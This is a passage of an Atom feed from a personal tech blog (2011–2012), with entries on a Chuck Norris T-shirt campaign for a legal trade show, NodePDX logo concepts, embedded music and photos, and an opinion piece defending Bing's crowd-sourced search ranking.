		<content type="html">&lt;h1 id=&#34;chuck-norris-vs-shift&#34;&gt;Chuck Norris vs Shift&lt;/h1&gt;&#xA;&lt;p&gt;It&#39;s my second to last day at &lt;a href=&#34;http://discover-e-legal.com&#34;&gt;discover-e Legal &lt;/a&gt; before moving on to &lt;a href=&#34;http://appfog.com&#34;&gt;AppFog&lt;/a&gt; and it&#39;s probably the most important day of the year for the company.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Every year, and only once a year, there&#39;s a huge industry trade show called &lt;a href=&#34;http://www.legaltechshow.com&#34;&gt;LegalTech New York&lt;/a&gt;. Every company in the industry shows up there and so does every buyer. They all vie for one another&#39;s attention for three days and if you&#39;re lucky, you end up being the company with the product that gets talked about for the next nine months of the year afterwards.&lt;/p&gt;&#xA;&lt;p&gt;Were going to be there to pimp the latest and greatest features in our online data processing product, &lt;a href=&#34;http://shiftondemand.com&#34;&gt;shift&lt;/a&gt;. We didn&#39;t have much of a marketing campaign put together so over the course of the last week we just kind of went &lt;a href=&#34;http://www.youtube.com/watch?v=LkCNJRfSZBU&#34;&gt;Leeroy Jenkins&lt;/a&gt; with it and started a campaign based around the one, the only, &lt;strong&gt;Chuck &lt;strong&gt;&lt;em&gt;freaking&lt;/em&gt;&lt;/strong&gt; Norris!!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So we started this twitter account: &lt;a href=&#34;http://twitter.com/ChuckNorrisofLT&#34;&gt;@ChuckNorrisofLT&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;...and then we were like &amp;quot;oh and we need T-SHIRTS!!!!&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;So this happened:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;chuck-norris-shift-paths.png&#34; alt=&#34;t-shirt mockup&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And thanks to my good friend &lt;a href=&#34;mailto:Brian@bluemillscreenprint.com&#34;&gt;Brian Bloodgood&lt;/a&gt; over at &lt;a href=&#34;http://bluemillscreenprint.com&#34;&gt;Blue Mill Screen Printing&lt;/a&gt;, there will be 100 of these, for-real, in only a day or two. You rock!!!&lt;/p&gt;&#xA;&lt;h3 id=&#34;update&#34;&gt;UPDATE!!&lt;/h3&gt;&#xA;&lt;p&gt;Walla-walla-bing-bam-boom! Blue Mill pulled off a turn around of less than 24 hours on 100 shirts!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;shirts1.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;shirts2.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;shirts3.jpg&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;shirts4.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>NodePDX Logo Concepts</title>
		<id>https://blog.thoward37.me/articles/nodepdx-logo-concepts</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/nodepdx-logo-concepts" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/nodepdx-logo-concepts" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/nodepdx-logo-concepts" type="text/html"></link>
		<published>2012-01-25T23:26:10+00:00</published>
		<updated>2012-01-25T23:26:10+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;I&#39;m working with designer &lt;a href=&#34;https://plus.google.com/106454809408036867119/about&#34;&gt;Julie Olver&lt;/a&gt; to create an awesome logo for NodePDX 2012. Here&#39;s the initial concept she sent over today:&#xA;&lt;img src=&#34;logo1.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I liked that, but thought two things: the &amp;quot;dot&amp;quot; in &amp;quot;Node (dot) js&amp;quot; is kind of important and I wasn&#39;t too excited about yellow (what will it look like in a b/w print out)? So I made some color suggestions and a crappy square dot.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo2.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo3.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also the font was not terribly legible, so she mocked up the logo with some other font choices:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo4.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo5.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo6.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo7.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Working with Julie is great. She takes feedback to heart and turns around new ideas quickly. I&#39;m really lucky that she&#39;s willing to donate her time and energy, for free, to help out our community conference. Portland is a great place with an awesome community of talented creative people.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately they all look a little too awesome... which means I can&#39;t decide. What a terrible problem to have!!&lt;/p&gt;&#xA;&lt;p&gt;So dear readers, thoughts? Which one do you think looks the best?&lt;/p&gt;&#xA;&lt;h3 id=&#34;update&#34;&gt;UPDATE:&lt;/h3&gt;&#xA;&lt;p&gt;Here&#39;s another variation on the logo concepts and some &amp;quot;in the wild&amp;quot; screenshots of what it would look like on the &lt;a href=&#34;http://2012.nodepdx.org&#34;&gt;NodePDX website&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo8.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Screenshots:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;screen1.png&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;screen2.png&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;screen3.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;I&#39;m working with designer &lt;a href=&#34;https://plus.google.com/106454809408036867119/about&#34;&gt;Julie Olver&lt;/a&gt; to create an awesome logo for NodePDX 2012. Here&#39;s the initial concept she sent over today:&#xA;&lt;img src=&#34;logo1.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I liked that, but thought two things: the &amp;quot;dot&amp;quot; in &amp;quot;Node (dot) js&amp;quot; is kind of important and I wasn&#39;t too excited about yellow (what will it look like in a b/w print out)? So I made some color suggestions and a crappy square dot.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo2.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo3.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also the font was not terribly legible, so she mocked up the logo with some other font choices:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo4.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo5.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo6.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo7.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Working with Julie is great. She takes feedback to heart and turns around new ideas quickly. I&#39;m really lucky that she&#39;s willing to donate her time and energy, for free, to help out our community conference. Portland is a great place with an awesome community of talented creative people.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately they all look a little too awesome... which means I can&#39;t decide. What a terrible problem to have!!&lt;/p&gt;&#xA;&lt;p&gt;So dear readers, thoughts? Which one do you think looks the best?&lt;/p&gt;&#xA;&lt;h3 id=&#34;update&#34;&gt;UPDATE:&lt;/h3&gt;&#xA;&lt;p&gt;Here&#39;s another variation on the logo concepts and some &amp;quot;in the wild&amp;quot; screenshots of what it would look like on the &lt;a href=&#34;http://2012.nodepdx.org&#34;&gt;NodePDX website&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;logo8.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Screenshots:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;screen1.png&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;screen2.png&#34; alt=&#34;&#34; /&gt;&#xA;&lt;img src=&#34;screen3.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Echo &amp; The Bunnymen-Lips Like Sugar (Way Out West Remix Edit)</title>
		<id>https://blog.thoward37.me/articles/echo-the-bunnymen-lips-like-sugar</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/echo-the-bunnymen-lips-like-sugar" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/echo-the-bunnymen-lips-like-sugar" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/echo-the-bunnymen-lips-like-sugar" type="text/html"></link>
		<published>2011-07-02T05:56:00+00:00</published>
		<updated>2011-07-02T05:56:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;iframe width=&#34;800&#34; height=&#34;510&#34; src=&#34;//www.youtube.com/embed/4dI67-BwTr4&#34; frameborder=&#34;0&#34; allowfullscreen&gt;&lt;/iframe&gt;&#xA;</summary>
		<content type="html">&lt;iframe width=&#34;800&#34; height=&#34;510&#34; src=&#34;//www.youtube.com/embed/4dI67-BwTr4&#34; frameborder=&#34;0&#34; allowfullscreen&gt;&lt;/iframe&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Serious geek fest</title>
		<id>https://blog.thoward37.me/articles/nexus-contraptions</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/nexus-contraptions" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/nexus-contraptions" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/nexus-contraptions" type="text/html"></link>
		<published>2011-07-02T05:53:34+00:00</published>
		<updated>2011-07-02T05:53:34+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;a href=&#34;http://www.youtube.com/nexuscontraptions&#34;&gt;Nexus Contraptions&lt;/a&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.youtube.com/nexuscontraptions&#34;&gt;Nexus Contraptions&lt;/a&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Portland (by Rowdy Kittens)</title>
		<id>https://blog.thoward37.me/articles/portland-by-rowdy-kittens</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/portland-by-rowdy-kittens" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/portland-by-rowdy-kittens" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/portland-by-rowdy-kittens" type="text/html"></link>
		<published>2011-07-02T05:47:00+00:00</published>
		<updated>2011-07-02T05:47:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;img src=&#34;portland-rowdy-kittens.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Portland by &lt;a href=&#34;http://www.flickr.com/photos/rowdykittens/&#34;&gt;Rowdy Kittens&lt;/a&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;img src=&#34;portland-rowdy-kittens.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Portland by &lt;a href=&#34;http://www.flickr.com/photos/rowdykittens/&#34;&gt;Rowdy Kittens&lt;/a&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Nice Rooftop View</title>
		<id>https://blog.thoward37.me/articles/nice-view-from-last-night</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/nice-view-from-last-night" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/nice-view-from-last-night" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/nice-view-from-last-night" type="text/html"></link>
		<published>2011-07-02T05:46:16+00:00</published>
		<updated>2011-07-02T05:46:16+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;img src=&#34;nice_rooftop_view.jpg&#34; alt=&#34;nice_rooftop_view&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Nice view (from last night).&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;img src=&#34;nice_rooftop_view.jpg&#34; alt=&#34;nice_rooftop_view&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Nice view (from last night).&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>DJ RemiX - City of the night</title>
		<id>https://blog.thoward37.me/articles/dj-remix-city-of-the-night</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/dj-remix-city-of-the-night" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/dj-remix-city-of-the-night" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/dj-remix-city-of-the-night" type="text/html"></link>
		<published>2011-07-02T05:43:24+00:00</published>
		<updated>2011-07-02T05:43:24+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;iframe width=&#34;100%&#34; height=&#34;166&#34; scrolling=&#34;no&#34; frameborder=&#34;no&#34; src=&#34;https://w.soundcloud.com/player/?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F4733438&#34;&gt;&lt;/iframe&gt;&#xA;&lt;p&gt;Serious hotness.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;iframe width=&#34;100%&#34; height=&#34;166&#34; scrolling=&#34;no&#34; frameborder=&#34;no&#34; src=&#34;https://w.soundcloud.com/player/?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F4733438&#34;&gt;&lt;/iframe&gt;&#xA;&lt;p&gt;Serious hotness.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>More Options == Less Freedom?</title>
		<id>https://blog.thoward37.me/articles/more-options-less-freedom</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/more-options-less-freedom" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/more-options-less-freedom" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/more-options-less-freedom" type="text/html"></link>
		<published>2011-06-30T00:00:00+00:00</published>
		<updated>2011-06-30T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;blockquote&gt;&#xA;&lt;p&gt;The trouble begins with a design philosophy that equates &amp;quot;more options&amp;quot; with &amp;quot;greater freedom&amp;quot;... In my experience, the instruments and tools that endure (because they are loved by their users) have limited options.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h5 id=&#34;--brian-eno-in-wired-magazine-1999&#34;&gt;- Brian Eno in Wired Magazine, 1999&lt;/h5&gt;&#xA;</summary>
		<content type="html">&lt;blockquote&gt;&#xA;&lt;p&gt;The trouble begins with a design philosophy that equates &amp;quot;more options&amp;quot; with &amp;quot;greater freedom&amp;quot;... In my experience, the instruments and tools that endure (because they are loved by their users) have limited options.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h5 id=&#34;--brian-eno-in-wired-magazine-1999&#34;&gt;- Brian Eno in Wired Magazine, 1999&lt;/h5&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Finally! Google+ is real</title>
		<id>https://blog.thoward37.me/articles/finally-google</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/finally-google" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/finally-google" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/finally-google" type="text/html"></link>
		<published>2011-06-28T00:00:00+00:00</published>
		<updated>2011-06-28T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;a href=&#34;http://googleblog.blogspot.com/2011/06/introducing-google-project-real-life.html&#34;&gt;Introducing Google+ Real Life&lt;/a&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://googleblog.blogspot.com/2011/06/introducing-google-project-real-life.html&#34;&gt;Introducing Google+ Real Life&lt;/a&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Look Alive</title>
		<id>https://blog.thoward37.me/articles/look-alive</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/look-alive" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/look-alive" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/look-alive" type="text/html"></link>
		<published>2011-02-26T11:02:30+00:00</published>
		<updated>2011-02-26T11:02:30+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;img src=&#34;mug.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want this in a t-shirt, mug, and office poster.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;img src=&#34;mug.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want this in a t-shirt, mug, and office poster.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Crowd-Sourced Relevancy Ranking in Bing or why Google is wrong</title>
		<id>https://blog.thoward37.me/articles/crowd-sourced-relevancy-ranking-in-bing-or-why-google</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/crowd-sourced-relevancy-ranking-in-bing-or-why-google" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/crowd-sourced-relevancy-ranking-in-bing-or-why-google" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/crowd-sourced-relevancy-ranking-in-bing-or-why-google" type="text/html"></link>
		<published>2011-02-02T06:57:00+00:00</published>
		<updated>2011-02-02T06:57:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Let me start by saying I&#39;m a Google fanboy and a half. I love that company and use all their products. My life revolves around my Nexus One and it&#39;s deep and tight integration with Google&#39;s stack which is my extremely large clustered brain-annex that&#39;s constantly available with a few taps of my touchscreen.&lt;/p&gt;&#xA;&lt;p&gt;Google is awesome and great and I love them to death. That said, they are wrong about Bing copying their results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;See these first-party posts for details:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://www.bing.com/community/site_blogs/b/search/archive/2011/02/01/thoughts-on-search-quality.aspx&#34;&gt;Thoughts On Search Quality (Bing Blog)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://googleblog.blogspot.com/2011/02/microsofts-bing-uses-google-search.html&#34;&gt;Bing uses Google&#39;s Results — and denies it (Google Blog)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;why-microsoft-is-not-in-the-wrong-crowd-sourcing-is-not-stealing&#34;&gt;Why Microsoft is not in the wrong: Crowd Sourcing is not stealing&lt;/h3&gt;&#xA;&lt;p&gt;What Microsoft has done is create a genuinely useful process for improving the relevancy of the Bing search engine. It&#39;s not a groundbreaking technique. Like most web based application in the world, they just monitor your behaviour. You type ‘foo&#39; into their search box, and are presented with 10 results on your first screen. You click #2 result. This is recorded. The same thing happens for 10,000 other users. Eventually Bing figures out that the #2 result really should be the #1 result, and ups it&#39;s rank.&lt;/p&gt;&#xA;&lt;p&gt;This is no different than Amazon&#39;s suggestion engine ‘Users who viewed this product ultimately bought this other product&#39;.&lt;/p&gt;&#xA;&lt;p&gt;This process doesn&#39;t depend on Google. This process would work purely as a way of improving rank within the Bing system, with no outside influences. It also doesn&#39;t really require a special toolbar to make it happen. You could collect that data through their normal web interface just as easily.&lt;/p&gt;&#xA;&lt;p&gt;This is not an issue of spyware, cheating, or copying. It&#39;s just Bing using crowd-sourced data to determine relevancy. It&#39;s very smart. It&#39;s not dishonest. Get over it Google.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-improve-search-result-relevancy&#34;&gt;How to improve search result relevancy?&lt;/h3&gt;&#xA;&lt;p&gt;I find this interesting because, currently Google faces a huge challenge: Reducing the amount of spam that is polluting their results. Bing clearly has a tactic for that, though it may or may not be completely effective. The value of the click through data is only as good as the user who clicked on the result. If the majority of people searching for &amp;quot;Foo&amp;quot; clicked on say, option #3 instead of #2 in our previous example, and if #3 was a spam site, then #3 would get ranked up. Bad news!&lt;/p&gt;&#xA;&lt;p&gt;Looks like Bing is trusting our judgement as a user community. We know what&#39;s relevant and show it by clicking through. If we choose a spam site as our main result, Cest La Vie!!&lt;/p&gt;&#xA;&lt;p&gt;But how can we improve search relevancy, and reduce false positives in our result set? The answer so far seems to be &amp;quot;curate the web&amp;quot;, or like Bing, use a &amp;quot;mechanical turk&amp;quot;, aka click stream crowd-sourced relevancy, assuming that people will be able to express their preference as a whole and emerge the correct answer over time.&lt;/p&gt;&#xA;&lt;h3 id=&#34;our-solution-contextual-search&#34;&gt;Our solution: Contextual Search&lt;/h3&gt;&#xA;&lt;p&gt;My company has a different solution: Working at a higher level of abstraction than words and documents. We have built a novel search tool that allows users to search for contexts, not documents, and make decisions on contexts.&lt;/p&gt;&#xA;&lt;p&gt;Find me &lt;code&gt;license&lt;/code&gt; where the document has &lt;code&gt;drivers license&lt;/code&gt; in it, but not where it has &lt;code&gt;fishing license&lt;/code&gt;, unless it also has something I want in it like &lt;code&gt;drivers license&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Traditional boolean search, which operates against an inverted index of terms to documents (which is what both Bing and Google offer), does not provide for this kind of decision making. It&#39;s impossible without changing how the data is indexed, and that&#39;s not anything these guys are going to be doing anytime soon. They have too much invested in their current methodology to change.&lt;/p&gt;&#xA;&lt;p&gt;We&#39;re hoping to launch a public search site sometime this year that presents our novel approach to improving relevancy in search. I look forward to seeing how it performs compared to Google and Bing.&lt;/p&gt;&#xA;&lt;p&gt;More on that later, when it&#39;s closer to reality.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-do-you-think-world-at-large&#34;&gt;What do you think, world at large?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does anyone have any other ideas about search relevancy?&lt;/li&gt;&#xA;&lt;li&gt;What are some other tactics one might employ, beyond &lt;strong&gt;Curating&lt;/strong&gt; or &lt;strong&gt;Crowdsourcing&lt;/strong&gt;?&lt;/li&gt;&#xA;&lt;li&gt;How else to make the spam go away?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Let me start by saying I&#39;m a Google fanboy and a half. I love that company and use all their products. My life revolves around my Nexus One and it&#39;s deep and tight integration with Google&#39;s stack which is my extremely large clustered brain-annex that&#39;s constantly available with a few taps of my touchscreen.&lt;/p&gt;&#xA;&lt;p&gt;Google is awesome and great and I love them to death. That said, they are wrong about Bing copying their results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;See these first-party posts for details:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://www.bing.com/community/site_blogs/b/search/archive/2011/02/01/thoughts-on-search-quality.aspx&#34;&gt;Thoughts On Search Quality (Bing Blog)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://googleblog.blogspot.com/2011/02/microsofts-bing-uses-google-search.html&#34;&gt;Bing uses Google&#39;s Results — and denies it (Google Blog)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;why-microsoft-is-not-in-the-wrong-crowd-sourcing-is-not-stealing&#34;&gt;Why Microsoft is not in the wrong: Crowd Sourcing is not stealing&lt;/h3&gt;&#xA;&lt;p&gt;What Microsoft has done is create a genuinely useful process for improving the relevancy of the Bing search engine. It&#39;s not a groundbreaking technique. Like most web based application in the world, they just monitor your behaviour. You type ‘foo&#39; into their search box, and are presented with 10 results on your first screen. You click #2 result. This is recorded. The same thing happens for 10,000 other users. Eventually Bing figures out that the #2 result really should be the #1 result, and ups it&#39;s rank.&lt;/p&gt;&#xA;&lt;p&gt;This is no different than Amazon&#39;s suggestion engine ‘Users who viewed this product ultimately bought this other product&#39;.&lt;/p&gt;&#xA;&lt;p&gt;This process doesn&#39;t depend on Google. This process would work purely as a way of improving rank within the Bing system, with no outside influences. It also doesn&#39;t really require a special toolbar to make it happen. You could collect that data through their normal web interface just as easily.&lt;/p&gt;&#xA;&lt;p&gt;This is not an issue of spyware, cheating, or copying. It&#39;s just Bing using crowd-sourced data to determine relevancy. It&#39;s very smart. It&#39;s not dishonest. Get over it Google.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-improve-search-result-relevancy&#34;&gt;How to improve search result relevancy?&lt;/h3&gt;&#xA;&lt;p&gt;I find this interesting because, currently Google faces a huge challenge: Reducing the amount of spam that is polluting their results. Bing clearly has a tactic for that, though it may or may not be completely effective. The value of the click through data is only as good as the user who clicked on the result. If the majority of people searching for &amp;quot;Foo&amp;quot; clicked on say, option #3 instead of #2 in our previous example, and if #3 was a spam site, then #3 would get ranked up. Bad news!&lt;/p&gt;&#xA;&lt;p&gt;Looks like Bing is trusting our judgement as a user community. We know what&#39;s relevant and show it by clicking through. If we choose a spam site as our main result, Cest La Vie!!&lt;/p&gt;&#xA;&lt;p&gt;But how can we improve search relevancy, and reduce false positives in our result set? The answer so far seems to be &amp;quot;curate the web&amp;quot;, or like Bing, use a &amp;quot;mechanical turk&amp;quot;, aka click stream crowd-sourced relevancy, assuming that people will be able to express their preference as a whole and emerge the correct answer over time.&lt;/p&gt;&#xA;&lt;h3 id=&#34;our-solution-contextual-search&#34;&gt;Our solution: Contextual Search&lt;/h3&gt;&#xA;&lt;p&gt;My company has a different solution: Working at a higher level of abstraction than words and documents. We have built a novel search tool that allows users to search for contexts, not documents, and make decisions on contexts.&lt;/p&gt;&#xA;&lt;p&gt;Find me &lt;code&gt;license&lt;/code&gt; where the document has &lt;code&gt;drivers license&lt;/code&gt; in it, but not where it has &lt;code&gt;fishing license&lt;/code&gt;, unless it also has something I want in it like &lt;code&gt;drivers license&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Traditional boolean search, which operates against an inverted index of terms to documents (which is what both Bing and Google offer), does not provide for this kind of decision making. It&#39;s impossible without changing how the data is indexed, and that&#39;s not anything these guys are going to be doing anytime soon. They have too much invested in their current methodology to change.&lt;/p&gt;&#xA;&lt;p&gt;We&#39;re hoping to launch a public search site sometime this year that presents our novel approach to improving relevancy in search. I look forward to seeing how it performs compared to Google and Bing.&lt;/p&gt;&#xA;&lt;p&gt;More on that later, when it&#39;s closer to reality.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-do-you-think-world-at-large&#34;&gt;What do you think, world at large?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does anyone have any other ideas about search relevancy?&lt;/li&gt;&#xA;&lt;li&gt;What are some other tactics one might employ, beyond &lt;strong&gt;Curating&lt;/strong&gt; or &lt;strong&gt;Crowdsourcing&lt;/strong&gt;?&lt;/li&gt;&#xA;&lt;li&gt;How else to make the spam go away?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Code Snippet: MultiTokenStream for Lucene.Net</title>
		<id>https://blog.thoward37.me/articles/code-snippet-multitokenstream-for-lucenenet</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/code-snippet-multitokenstream-for-lucenenet" type="text/html"></link>
